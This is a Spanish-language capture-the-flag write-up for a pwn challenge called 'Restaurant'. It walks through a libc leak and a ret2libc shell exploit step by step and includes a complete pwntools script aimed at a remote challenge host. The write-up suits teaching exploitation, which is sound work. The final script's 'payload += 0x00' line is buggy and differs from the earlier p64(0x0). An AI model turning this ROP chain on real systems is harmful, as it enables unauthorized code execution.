Restaurant


leak libc & ret2libc

June 30, 20254 minutes

Offset

El primer paso es conseguir el offset, lo cual se puede hacer simplemente generando una string con cyclic

pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Al mandarlo en el segundo input se consiguen sobreescribir varios registros

 RBP  0x6161616161616165 ('eaaaaaaa')
 RSP  0x7fffffffe3f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
 RIP  0x400eec (fill+162) ◂— ret 

A diferencia de en 32 bits, si la dirección no es válida, el valor de RIP no cambia.

Entonces, para calcular el offset, sabiendo que al hacer un ret, RIP toma el valor apuntado por RSP, podemos obtener el valor de RSP (o RBP) y sumarle 8.

RSP

pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

RBP

pwndbg> cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32

Protecciones

pwndbg> checksec
File:     restaurant
Arch:     amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fe000)
RUNPATH:    b'.'
Stripped:   No

NX está habilitado así que no se puede mandar un shellcode y saltar a ese shellcode para que se ejecute.

Una alternativa para cuando hay NX activado es hacer un ret2libc para conseguir una shell system("/bin/sh")

Leak libc

Para poder hacer el ret2libc se necesita saber la dirección base de libc, eso se puede conseguir haciendo un puts de la dirección de puts: puts(puts) Para hacer esto se necesitan las direcciones de puts.plt y puts.got, las cuales se pueden conseguir con:

puts_got = e.got['puts']
puts_plt = e.plt['puts']

La dirección puts.got hay que passarsela como argumento a puts.plt, como estamos en 64 bits la dirección hay que pasársela por rdi.

Para cambiar el valor de RDI necesitamos un gadget

~/Desktop/htb/challs/pwn/restaurant/pwn_restaurant$ ROPgadget --binary=restaurant | grep rdi
0x00000000004010a3 : pop rdi ; ret

Con pop rdi; ret rdi va a tomar el valor al que apunta RSP y luego va a hacer un ret, cosa que nos va perfecto.

Por último para que el programa siga funcionando necesitamos la dirección de donde va a saltar el programa una vez lekeada libc, por ejemeplo se podría usar la función de main, para saltar a main.

main = e.symbols['main']

El orden del primer payload quedaría así

pop_rdi -> puts_got -> puts_plt -> main

payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendlineafter('>',payload)

Analizando la respuesta parece que se está lekeando correctamente la dirección

Para conseguir esa dirección se puede hacer:

data = r.readline_contains("Enjoy")
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")

Ahora si le restamos el offset de puts, obtenemos la dirección base de libc

libc_base   = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
[*] Leak puts_got: 0x7ffff7e12da0
[*] Libc base: 0x7ffff7d92300

ret2libc

Una vez tenemos la base de libc ya se puede hacer el ret2libc, para conseguir poder ejecutar comandos necesitamos el offset de /bin/sh de system y opcionalmente la dirección de otra parte del programa o de exit, para que no se detenga el programa por un segementation fault

sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]

No hace falta sumarle el libc porque como antes hemos puesto libc.address = libc_base pwntools ya lo incluye en system, sh y exit

También se necesita un ret el cual se puede encontrar con ROPGadgets igual que se hizo antes con el pop rdi

$ ROPgadget --binary=restaurant | grep ret
........
0x000000000040063e : ret
........

Importante recordar que /bin/sh se lo pasamos como argumento a system, así que vamos a volver a usar pop rdi

Ahora solo queda estructurarlo todo y mandarlo

ret -> pop_rdi -> binsh -> system -> exit

ret = 0x40063e

payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0)

r.sendlineafter('>', payload)

Final script

Enjoy your AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\x06@$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$  
#!/usr/bin/env python3

from pwn import *
import base64

e = ELF("./restaurant")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")


HOST = "94.237.60.55"
PORT = 38156
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([e.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r


def main():
    r = conn()

    rbp_offset = 32
    rip_offset = 32 + 8

    r.sendlineafter('>', '1')

    pop_rdi_ret = 0x4010a3
    puts_got = e.got['puts']
    puts_plt = e.plt['puts']
    main = e.symbols['main']

    info(hex(puts_plt))
    info(hex(puts_got))
    info(hex(main))

    payload = b'A' * rip_offset
    payload += p64(pop_rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)

    r.sendlineafter('>',payload)
    data = r.readline_contains("Enjoy")
    info(base64.b64encode(data))

    leak = u64(data[-6:].ljust(8, b'\x00'))
    info(f"Leak puts_got: {hex(leak)}")

    libc_base   = leak - libc.symbols['puts']
    libc.address = libc_base
    info(f"Libc base: {hex(libc_base)}")

    r.sendlineafter('>', '1')

    sh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    exit = libc.sym["exit"]

    ret = 0x40063e

    payload = b"A" * rip_offset
    payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(sh)
    payload += p64(system)
    payload += 0x00

    r.sendlineafter('>', payload)

    r.interactive()


if __name__ == "__main__":
    main()